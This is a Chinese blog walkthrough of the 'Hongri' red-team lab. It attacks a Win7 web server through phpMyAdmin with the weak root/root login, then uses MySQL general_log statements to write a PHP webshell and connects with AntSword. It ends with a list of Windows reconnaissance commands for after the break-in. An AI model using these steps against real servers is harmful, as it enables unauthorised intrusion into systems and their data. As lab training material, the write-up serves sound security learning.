红日实战——使用CS拿下域内主机

a2106883567

已于 2023-09-22 19:08:56 修改

阅读量226

点赞数 1

文章标签：网络

于 2023-09-22 18:59:45 首次发布

本文链接：https://blog.csdn.net/a2106883567/article/details/133181984

版权

网络配置

其中win7作为web服务器来使用，与其他两个电脑都在内网中，并且可以互相访问。

win7

含有两个网卡，其中一个为VM13为内网，另一个为NAT连接外网

win 2008

win 2K3

IP分配

win7

外网

内网

win 2008

win 2K3

kali

主机	IP
win7	192.168.109.134
win7	192.168.52.143
win 2008	192.168.52.138
win 2K3	192.168.52.141
kali	192.168.109.132
主机	192.168.109.1

可以看到kali与win7处于在同一个物理网络下

互通情况

使用主机分别去ping三个内网的机器

互通情况如下:

win7与内网主机ping

结果如下:

可以看到内网之间的主机互通，而外网访问不了内网。

服务开启

开启win7中的phpstudy

在浏览器中打开

在主机浏览器上访问192.168.109.194

探测目标

Kali自带了arp扫描器，可以通过这个工具扫描出和自身网卡同一网段的主机

arp-scan -l #扫描网段所有主机

arp-scan -I eth0 -l #扫描指定网段所有ip

使用root权限进行扫描，很快就可以发现在同一个网段下的主机。

扫描目录

使用御剑来扫描目录，可以看到该信息

进入phpMyAdmin

点击上方网址进入内部

使用弱口令root/root进入

这里使用phpmyadmin日志写shell，先查看有没有开启日志

写入的条件如下：

root权限
知道绝对路径
secure_file_priv没有具体值

show global variables like "%secure%"; 来查看日志有没有开启

可以看到没有开启，并且secure_file_priv没有具体值

接下来开启日志并且写入绝对路径

set global general_log="on";

#开启日志，修改为on

set global general_log_file="C:/phpStudy/WWW/1.php";

#修改日志路径（在上面提到的phpinfo.php中有泄露路径）

写入一句话木马

SELECT ''

使用蚁剑连接

添加成功,然后就可以对其进行操作

可以操作的命令如下：

whoami                                    # 查看当前用户名
 whoami /all                                # 获取域SID
 
 ipconfig /all                                # 网络配置文件
 route print                                # 打印路由信息
 arp -a                                    # 查看arp缓存，可以发现内网主机
 
 systeminfo                                # 操作系统信息
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version"            # 操作系统、软件版本信息    
 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"            # 操作系统、软件版本信息(中文)
 echo %PROCESSOR_ARCHITECTURE%                        # 系统体系架构
 wmic product get name,version                        # 系统安装的软件及版本信息
 wmic service list brief                        # 本机服务信息
 tasklist /v                                 # 本机进程
 net statistics workstation                        # 主机开机时间
 schtasks /query /fo LIST /v                        # 计划任务

net user                                                # 查看本地用户
net localgroup administrators                           # 查看本地管理员组（通常包含域用户）
net user xxx                                   # 查看指定用户详细信息